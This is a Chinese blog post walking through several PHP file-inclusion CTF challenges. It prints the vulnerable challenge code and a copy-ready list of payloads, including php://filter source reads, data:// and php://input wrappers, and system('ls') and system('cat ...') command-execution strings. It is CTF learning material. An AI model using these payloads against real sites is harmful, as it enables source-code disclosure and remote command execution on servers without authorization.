上一篇文章：一篇文章带你入门文件包含-CSDN博客

已经开始入门了文件包含，那现在开始拔高提升刷题！

1.

拿到题目后啥也没有，所以也不知道要读取啥文件，那就查看源代码。

直接看if的条件就可以知道一定要设置cookie，因为这里存在着文件包含，

看来我上一篇文章的就知道，直接伪协议开始读取，

?file=php://filter/read=convert.base64-encode/resource=xxx.php

这个是基本的格式啊，

这里因为要写入cookie，而且首页还提示了网站首页目录  /var/www/html/index.php，

那就稍作修改,抓包，添加cookie并且写入

 language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

（2）

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

提示：PHP file_get_contents () 函数

• 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持，还会使用内存映射技术来增强性能。
• 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
• 其实就是存在两个文件，file1直接伪协议直接读取flag.php,没啥意思，file2就是伪协议，写入 hello ctf 
• ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
• 这个payload在上一篇文章开头就有类似的，需要可以自行复制

•  上一篇文章：一篇文章带你入门文件包含-CSDN博客

• 然后再来一道永恒的经典！！！

• <?php
  show_source(__FILE__);
  echo $_GET['hello'];
  $page=$_GET['page'];
  while (strstr($page, "php://")) {
      $page=str_replace("php://", "", $page);
  }
  include($page);
  ?>

这道题目有多种解法：

二话不说，先给大家献上干货，以下是CTF伪协议的常见用法，遇到直接自行复制使用即可

补充一下，第一点的<?php phpinfo()?>如果找不到flag，那也别傻站着，换个命令，<?php system("ls")?>或者直接<?php system("cat flag.php")?>

第二点的PD9waHAgcGhwaW5mbygpPz4=base64形式的<?php phpinfo()?>，如果这个不行，也别傻站着，换个命令，你不知道对面会过滤什么，唯有多尝试。

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
 

这里拿一道题目演示成果：

?file=data:text/plain,<?php phpinfo()?>直接丢进去，就出现phpinfo，如果ctrl+f查找flag，发现没有，那也别傻站着，换个命令。<?php system("ls")?>

最后直接<?php system("cat fl4gisisish3r3.php")?>直接拿下

以上只是基本思路，因为看题目它过滤了php：//，也就是用不了php:input协议那就换成data://text/plain协议，如果过滤的很严格，那就可以尝试下文件日志包含，以上只是提供了基本解题思路，如果你第一种方法失效了，就说明被过滤了，后面还有很多方法，别愣着，如果不知道对面过滤了什么，那就一个一个尝试。

以上只是其中微不足道的一种方法，这里通过我的见解抛砖引玉。如果各位能够想出两种甚至三种方法做出这道题，那么你就可以说自己已经离开了文件上传的新手村了
 

祝大家CTF玩的开心

•